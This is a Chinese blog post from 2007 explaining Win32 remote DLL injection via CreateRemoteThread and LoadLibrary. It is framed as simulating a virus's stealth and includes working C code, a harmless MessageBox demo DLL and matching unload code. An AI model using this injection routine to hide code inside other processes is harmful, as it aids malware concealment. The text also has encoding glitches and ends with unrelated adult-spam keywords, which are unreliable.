• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            旅途

            如果想飛得高,就該把地平線忘掉

            DLL的遠(yuǎn)程注入技術(shù)

            Content:


                DLL的遠(yuǎn)程注入技術(shù)是目前Win32病毒廣泛使用的一種技術(shù)。使用這種技術(shù)的病毒體通常位于一個(gè)DLL中,在系統(tǒng)啟動(dòng)的時(shí)候,一個(gè)EXE程序會(huì)將這個(gè) DLL加載至某些系統(tǒng)進(jìn)程(如Explorer.exe)中運(yùn)行。這樣一來(lái),普通的進(jìn)程管理器就很難發(fā)現(xiàn)這種病毒了,而且即使發(fā)現(xiàn)了也很難清除,因?yàn)橹灰? 病毒寄生的進(jìn)程不終止運(yùn)行,那么這個(gè)DLL就不會(huì)在內(nèi)存中卸載,用戶也就無(wú)法在資源管理器中刪除這個(gè)DLL文件,真可謂一箭雙雕哉。

            記 得2003年QQ尾巴病毒肆虐的時(shí)候,就已經(jīng)有些尾巴病毒的變種在使用這種技術(shù)了。到了2004年初,我曾經(jīng)嘗試著仿真了一個(gè)QQ尾巴病毒,但獨(dú)是跳過(guò)了 DLL的遠(yuǎn)程加載技術(shù)。直到最近在學(xué)校論壇上看到了幾位朋友在探討這一技術(shù),便忍不住將這一塵封已久的技術(shù)從我的記憶中揀了出來(lái),以滿足廣大的技術(shù)愛(ài)好者 們。


            必備知識(shí)

            在閱讀本文之前,你需要了解以下幾個(gè)API函數(shù):

            OpenProcess - 用于打開(kāi)要寄生的目標(biāo)進(jìn)程。
            VirtualAllocEx/VirtualFreeEx - 用于在目標(biāo)進(jìn)程中分配/釋放內(nèi)存空間。
            WriteProcessMemory - 用于在目標(biāo)進(jìn)程中寫(xiě)入要加載的DLL名稱。
            CreateRemoteThread - 遠(yuǎn)程加載DLL的核心內(nèi)容,用于控制目標(biāo)進(jìn)程調(diào)用API函數(shù)。
            LoadLibrary - 目標(biāo)進(jìn)程通過(guò)調(diào)用此函數(shù)來(lái)加載病毒DLL。

            在此我只給出了簡(jiǎn)要的函數(shù)說(shuō)明,關(guān)于函數(shù)的詳細(xì)功能和介紹請(qǐng)參閱MSDN。


            示例程序

            我將在以下的篇幅中用一個(gè)簡(jiǎn)單的示例Virus.exe來(lái)實(shí)現(xiàn)這一技術(shù)。這個(gè)示例的界面如下圖:

            首先運(yùn)行Target.exe,這個(gè)文件是一個(gè)用Win32 Application向?qū)傻?#8220;Hello, World”程序,用來(lái)作為寄生的目標(biāo)進(jìn)程。

            然后在界面的編輯控件中輸入進(jìn)程的名稱“Target.exe”,單擊“注入DLL”按鈕,這時(shí)候Virus.exe就會(huì)將當(dāng)前目錄下的DLL.dll注入至Target.exe進(jìn)程中。

            在注入DLL.dll之后,你也可以單擊“卸載DLL”來(lái)將已經(jīng)注入的DLL卸載。

            點(diǎn)這里下載示例程序


            模擬的病毒體DLL.dll

            這是一個(gè)簡(jiǎn)單的Win32 DLL程序,它僅由一個(gè)入口函數(shù)DllMain組成:

            BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
            {
                switch ( fdwReason )
                 {
                case DLL_PROCESS_ATTACH:
                     {
                         MessageBox( NULL, _T("DLL已進(jìn)入目標(biāo)進(jìn)程。"), _T("信息"), MB_ICONINFORMATION );
                     }
                    break;
                case DLL_PROCESS_DETACH:
                     {
                         MessageBox( NULL, _T("DLL已從目標(biāo)進(jìn)程卸載。"), _T("信息"), MB_ICONINFORMATION );
                     }
                    break;
                 }
                return TRUE;
            }

            如你所見(jiàn),這里我在DLL被加載和卸載的時(shí)候調(diào)用了MessageBox,這是用來(lái)顯示我的遠(yuǎn)程注入/卸載工作是否成功完成。而對(duì)于一個(gè)真正的病毒體來(lái)說(shuō),它往往就是處理DLL_PROCESS_ATTACH事件,在其中加入了啟動(dòng)病毒代碼的部分:

            case DLL_PROCESS_ATTACH:
                 {
                     StartVirus();
                 }
                break;


            注入!

            現(xiàn)在要開(kāi)始我們的注入工作了。首先,我們需要找到目標(biāo)進(jìn)程:

            DWORD FindTarget( LPCTSTR lpszProcess )
            {
                 DWORD dwRet = 0;
                 HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
                 PROCESSENTRY32 pe32;
                 pe32.dwSize = sizeof( PROCESSENTRY32 );
                 Process32First( hSnapshot, &pe32 );
                do
                 {
                    if ( lstrcmpi( pe32.szExeFile, lpszProcess ) == 0 )
                     {
                         dwRet = pe32.th32ProcessID;
                        break;
                     }
                 } while ( Process32Next( hSnapshot, &pe32 ) );
                 CloseHandle( hSnapshot );
                return dwRet;
            }

            這里我使用了Tool Help函數(shù)庫(kù),當(dāng)然如果你是NT系統(tǒng)的話,也可以選擇PSAPI函數(shù)庫(kù)。這段代碼的目的就是通過(guò)給定的進(jìn)程名稱來(lái)在當(dāng)前系統(tǒng)中查找相應(yīng)的進(jìn)程,并返回該進(jìn)程的ID。得到進(jìn)程ID后,就可以調(diào)用OpenProcess來(lái)打開(kāi)目標(biāo)進(jìn)程了:

            // 打開(kāi)目標(biāo)進(jìn)程
            HANDLE hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwProcessID );

            現(xiàn)在有必要說(shuō)一下OpenProcess第一個(gè)參數(shù)所指定的三種權(quán)限。在Win32系統(tǒng)下,每個(gè)進(jìn)程都擁有自己 的4G虛擬地址空間,各個(gè)進(jìn)程之間都相互獨(dú)立。如果一個(gè)進(jìn)程需要完成跨進(jìn)程的工作的話,那么它必須擁有目標(biāo)進(jìn)程的相應(yīng)操作權(quán)限。在這里, PROCESS_CREATE_THREAD表示我可以通過(guò)返回的進(jìn)程句柄在該進(jìn)程中創(chuàng)建新的線程,也就是調(diào)用CreateRemoteThread的權(quán) 限;同理,PROCESS_VM_OPERATION則表示在該進(jìn)程中分配/釋放內(nèi)存的權(quán)限,也就是調(diào)用 VirtualAllocEx/VirtualFreeEx的權(quán)限;PROCESS_VM_WRITE表示可以向該進(jìn)程的地址空間寫(xiě)入數(shù)據(jù),也就是調(diào)用 WriteProcessMemory的權(quán)限。

            至此目標(biāo)進(jìn)程已經(jīng)打開(kāi),那么我們?cè)撊绾蝸?lái)將DLL注入其中呢?在這之前,我請(qǐng)你看一行代碼,是如何在本進(jìn)程內(nèi)顯式加載DLL的:

            HMODULE hDll = LoadLibrary( "DLL.dll" );

            那么,如果能控制目標(biāo)進(jìn)程調(diào)用LoadLibrary,不就可以完成DLL的遠(yuǎn)程注入了么?的確是這樣,我們可 以通過(guò)CreateRemoteThread將LoadLibrary作為目標(biāo)進(jìn)程的一個(gè)線程來(lái)啟動(dòng),這樣就可以完成“控制目標(biāo)進(jìn)程調(diào)用 LoadLibrary”的工作了。到這里,也許你會(huì)想當(dāng)然地寫(xiě)下類似這樣的代碼:

            DWORD dwID;
            LPVOID pFunc = LoadLibraryA;
            HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)"DLL.dll", 0, &dwID );

            不過(guò)結(jié)果肯定會(huì)讓你大失所望——注入DLL失敗!

            嗯嗯,那么現(xiàn)在讓我們來(lái)分析一下失敗的原因吧。我是前說(shuō)過(guò),在Win32系統(tǒng)下,每個(gè)進(jìn)程都擁有自己的4G虛擬 地址空間,各個(gè)進(jìn)程之間都是相互獨(dú)立的。在這里,我們當(dāng)作參數(shù)傳入的字符串"DLL.dll"其實(shí)是一個(gè)數(shù)值,它表示這個(gè)字符串位于Virus.exe地 址空間之中的地址,而這個(gè)地址在傳給Target.exe之后,它指向的東西就失去了有效性。舉個(gè)例子來(lái)說(shuō),譬如A、B兩棟大樓,我住在A樓的401;那 么B樓的401住的是誰(shuí)我當(dāng)然不能確定——也就是401這個(gè)門(mén)牌號(hào)在B樓失去了有效性,而且如果我想要入住B樓的話,我就必須請(qǐng)B樓的樓長(zhǎng)為我在B樓中安 排新的住處(當(dāng)然這個(gè)新的住處是否401也就不一定了)。

            由此看來(lái),我就需要做這么一系列略顯繁雜的手續(xù)——首先在Target.exe目標(biāo)進(jìn)程中分配一段內(nèi)存空間,然后向這段空間寫(xiě)入我要加載的DLL名稱,最后再調(diào)用CreateRemoteThread。這段代碼就成了這樣:

            // 向目標(biāo)進(jìn)程地址空間寫(xiě)入DLL名稱
            DWORD dwSize, dwWritten;
            dwSize = lstrlenA( lpszDll ) + 1;
            LPVOID lpBuf = VirtualAllocEx( hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE );
            if ( NULL == lpBuf )
            {
                 CloseHandle( hProcess );
                // 失敗處理
            }
            if ( WriteProcessMemory( hProcess, lpBuf, (LPVOID)lpszDll, dwSize, &dwWritten ) )
            {
                // 要寫(xiě)入字節(jié)數(shù)與實(shí)際寫(xiě)入字節(jié)數(shù)不相等,仍屬失敗
                if ( dwWritten != dwSize )
                 {
                     VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
                     CloseHandle( hProcess );
                    // 失敗處理
                 }
            }
            else
            {
                 CloseHandle( hProcess );
                // 失敗處理
            }
            // 使目標(biāo)進(jìn)程調(diào)用LoadLibrary,加載DLL
            DWORD dwID;
            LPVOID pFunc = LoadLibraryA;
            HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );

            需要說(shuō)的有兩點(diǎn),一是由于我要在目標(biāo)進(jìn)程中為ANSI字符串來(lái)分配內(nèi)存空間,所以這里凡是和目標(biāo)進(jìn)程相關(guān)的部 分,都明確使用了后綴為“A”的API函數(shù)——當(dāng)然,如果要使用Unicode字符串的話,可以換作后綴是“W”的API;第二,在這里 LoadLibrary的指針我是取的本進(jìn)程的LoadLibraryA的地址,這是因?yàn)長(zhǎng)oadLibraryA/LoadLibraryW位于 kernel32.dll之中,而Win32下每個(gè)應(yīng)用程序都會(huì)把kernel32.dll加載到進(jìn)程地址空間中一個(gè)固定的地址,所以這里的函數(shù)地址在 Target.exe中也是有效的。

            在調(diào)用LoadLibrary完畢之后,我們就可以做收尾工作了:

            // 等待LoadLibrary加載完畢
            WaitForSingleObject( hThread, INFINITE );
            // 釋放目標(biāo)進(jìn)程中申請(qǐng)的空間
            VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
            CloseHandle( hThread );
            CloseHandle( hProcess );

            在此解釋一下WaitForSingleObject一句。由于我們是通過(guò)CreateRemoteThread在目標(biāo)進(jìn)程中另外開(kāi)辟了一個(gè)LoadLibrary的線程,所以我們必須等待這個(gè)線程運(yùn)行完畢才能夠釋放那段先前申請(qǐng)的內(nèi)存。

            好了,現(xiàn)在你可以嘗試著整理這些代碼并編譯運(yùn)行。運(yùn)行Target.exe,然后開(kāi)啟一個(gè)有模塊查看功能的進(jìn)程查看工具(在這里我使用我的July)來(lái)查看Target.exe的模塊,你會(huì)發(fā)現(xiàn)在注入DLL之前,Target.exe中并沒(méi)有DLL.dll的存在:

            在調(diào)用了注入代碼之后,DLL.dll就位于Target.exe的模塊列表之中了:


            矛盾相生

            記得2004年初我將QQ尾巴病毒成功仿真后,有很多網(wǎng)友詢問(wèn)我如何才能殺毒,不過(guò)我都沒(méi)有回答——因?yàn)楫?dāng)時(shí)我研究的重點(diǎn)并非病毒的寄生特性。這一寄生特性直到今天可以說(shuō)我才仿真完畢,那么,我就將解毒的方法也一并公開(kāi)吧。

            和DLL的注入過(guò)程類似,只不過(guò)在這里使用了兩個(gè)API:GetModuleHandle和FreeLibrary。出于篇幅考慮,我略去了與注入部分相似或相同的代碼:

            // 使目標(biāo)進(jìn)程調(diào)用GetModuleHandle,獲得DLL在目標(biāo)進(jìn)程中的句柄
            DWORD dwHandle, dwID;
            LPVOID pFunc = GetModuleHandleA;
            HANDLE hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpBuf, 0, &dwID );
            // 等待GetModuleHandle運(yùn)行完畢
            WaitForSingleObject( hThread, INFINITE );
            // 獲得GetModuleHandle的返回值
            GetExitCodeThread( hThread, &dwHandle );
            // 釋放目標(biāo)進(jìn)程中申請(qǐng)的空間
            VirtualFreeEx( hProcess, lpBuf, dwSize, MEM_DECOMMIT );
            CloseHandle( hThread );
            // 使目標(biāo)進(jìn)程調(diào)用FreeLibrary,卸載DLL
            pFunc = FreeLibrary;
            hThread = CreateRemoteThread( hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID );
            // 等待FreeLibrary卸載完畢
            WaitForSingleObject( hThread, INFINITE );
            CloseHandle( hThread );
            CloseHandle( hProcess );

            用這個(gè)方法可以卸載一個(gè)進(jìn)程中的DLL模塊,當(dāng)然包括那些非病毒體的DLL。所以,這段代碼還是謹(jǐn)慎使用為好。

            在完成卸載之后,如果沒(méi)有別的程序加載這個(gè)DLL,你就可以將它刪除了。


            posted on 2007-07-22 00:14 旅途 閱讀(555) 評(píng)論(0)  編輯 收藏 引用 所屬分類: 深入windows

            国产巨作麻豆欧美亚洲综合久久 | 狠狠精品久久久无码中文字幕| 成人免费网站久久久| 伊人久久大香线蕉AV色婷婷色| 狠狠色丁香久久婷婷综合蜜芽五月 | 久久精品国产只有精品66| 青草影院天堂男人久久| 一本伊大人香蕉久久网手机| 久久精品国产亚洲一区二区| 婷婷综合久久狠狠色99h| 久久九九亚洲精品| 99久久国产综合精品五月天喷水 | 亚洲AV日韩AV永久无码久久| 蜜臀av性久久久久蜜臀aⅴ麻豆| 香蕉久久av一区二区三区| 香蕉久久夜色精品升级完成| A狠狠久久蜜臀婷色中文网| 99re这里只有精品热久久| 狠狠人妻久久久久久综合| 老司机午夜网站国内精品久久久久久久久 | 色婷婷狠狠久久综合五月| 狠狠色丁香婷婷久久综合五月| 久久亚洲中文字幕精品有坂深雪 | 久久久国产精品| 少妇人妻88久久中文字幕| 久久久精品一区二区三区| 久久天天日天天操综合伊人av| 中文字幕久久亚洲一区| 久久九九精品99国产精品| 国产香蕉97碰碰久久人人| 热久久视久久精品18| 久久精品国产99国产电影网| 欧美精品九九99久久在观看| www.久久热.com| 狠狠综合久久AV一区二区三区| 久久青青草原国产精品免费| 最新久久免费视频| 91秦先生久久久久久久| 狠狠精品久久久无码中文字幕| 久久久久这里只有精品 | 午夜视频久久久久一区 |